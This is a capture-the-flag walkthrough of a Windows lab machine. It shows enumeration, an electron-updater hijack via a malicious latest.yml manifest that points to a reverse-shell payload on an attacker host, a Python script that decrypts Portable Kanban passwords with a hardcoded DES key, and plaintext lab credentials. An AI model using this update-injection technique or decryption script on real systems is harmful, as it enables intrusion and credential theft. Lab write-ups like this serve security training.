Machine Information
- Platform: Windows
- Difficulty: Medium
- IP Address: 10.129.230.162
Initial Enumeration
Nmap Scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 16:58 EDT Nmap scan report for 10.129.230.162 Host is up (0.036s latency). Not shown: 65529 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) 135/tcp open msrpc Microsoft Windows RPC 443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 6379/tcp open redis Redis key-value store Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Key services: SMB (445), Redis (6379), WinRM (5985)
Service Enumeration
SMB Enumeration
The Software_Updates share has READ/WRITE access with guest credentials!
Exploring Software_Updates Share
The PDF contains UAT testing procedures for a note-taking application called “heed”.
Exploitation
Analyzing the Electron Application
After examining the installer extracted from the PDF documentation, I found the application uses Electron with auto-update functionality.
$PLUGINSDIR/app-64/resources/
├── app.asar
├── app-update.yml
├── electron.asar
├── elevate.exe
└── node_modules/
Finding the Update Configuration
provider: generic
url: 'http://updates.atom.htb'
publisherName:
- HackTheBox
The application checks http://updates.atom.htb for updates!
Extracting app.asar
{
"name": "heedv1",
"version": "1.0.0",
"main": "main.js",
"dependencies": {
"electron-updater": "^2.23.3",
"electron-log": "^1.3.0",
"url": "^0.11.0"
}
}
Crafting Malicious Update Package
The electron-updater package checks the Software_Updates SMB share for a latest.yml file that defines update metadata.
Step 1: Create reverse shell payload
Step 2: Calculate SHA-512 hash
Step 3: Create latest.yml update manifest
version: 1.2.3
path: http://10.10.14.3/a'tom.exe
sha512: Qdk9GLbxYATk99IYFpMGOgKzb/0dCfcQqRNi+2pnp3yNjX2uZtLdr7rcqkSzwh5b9H64iWo5V4pM01Z5OTtNPA==
Delivering the Payload
Reverse Shell
After about 60 seconds, the application auto-updates and executes our payload:
Post-Exploitation Enumeration
Redis Discovery
Redis Configuration
Redis Password: kidvscat_yes_kidvscat
Privilege Escalation
Accessing Redis Database
{
"Id":"e8e29158d70d44b1a1ba4949d52790a0",
"Name":"Administrator",
"Email":"",
"EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi",
"Role":"Admin",
"Inactive":false,
"TimeStamp":637530169606440253
}
The Redis database contains an encrypted Administrator password for Portable Kanban!
Decrypting Portable Kanban Password
Portable Kanban uses a hardcoded DES key for password encryption. I created a decryption script:
#!/usr/bin/env python3
import json
import base64
from des import * # python3 -m pip install des
try:
hash = str(input("Enter the Hash : "))
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
password = key.decrypt(hash, initial=b"XuVUm5fR", padding=True).decode('utf-8')
print("Decrypted Password : " + password)
except:
print("Wrong Hash")
Administrator Credentials: administrator:kidvscat_admin_@123
WinRM Access as Administrator
Loot
Credentials
administratorkidvscat_admin_@12310.129.230.162rediskidvscat_yes_kidvscat10.129.230.1626379Encrypted Password
Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGiKey Takeaways
- Electron auto-updater vulnerabilities (especially outdated versions like 2.23.3) allow malicious update injection when update sources are writable
- SMB shares with write access can be leveraged to deliver malicious update manifests (latest.yml)
- Redis configuration files often contain plaintext passwords that provide access to sensitive databases
- Portable Kanban uses hardcoded DES encryption keys (
7ly6UznJand IVXuVUm5fR), making encrypted passwords trivially decryptable - Always check for outdated dependencies in package.json - electron-updater 2.23.3 was released in 2018 and lacks signature verification
- Auto-update mechanisms should verify cryptographic signatures and use HTTPS with certificate pinning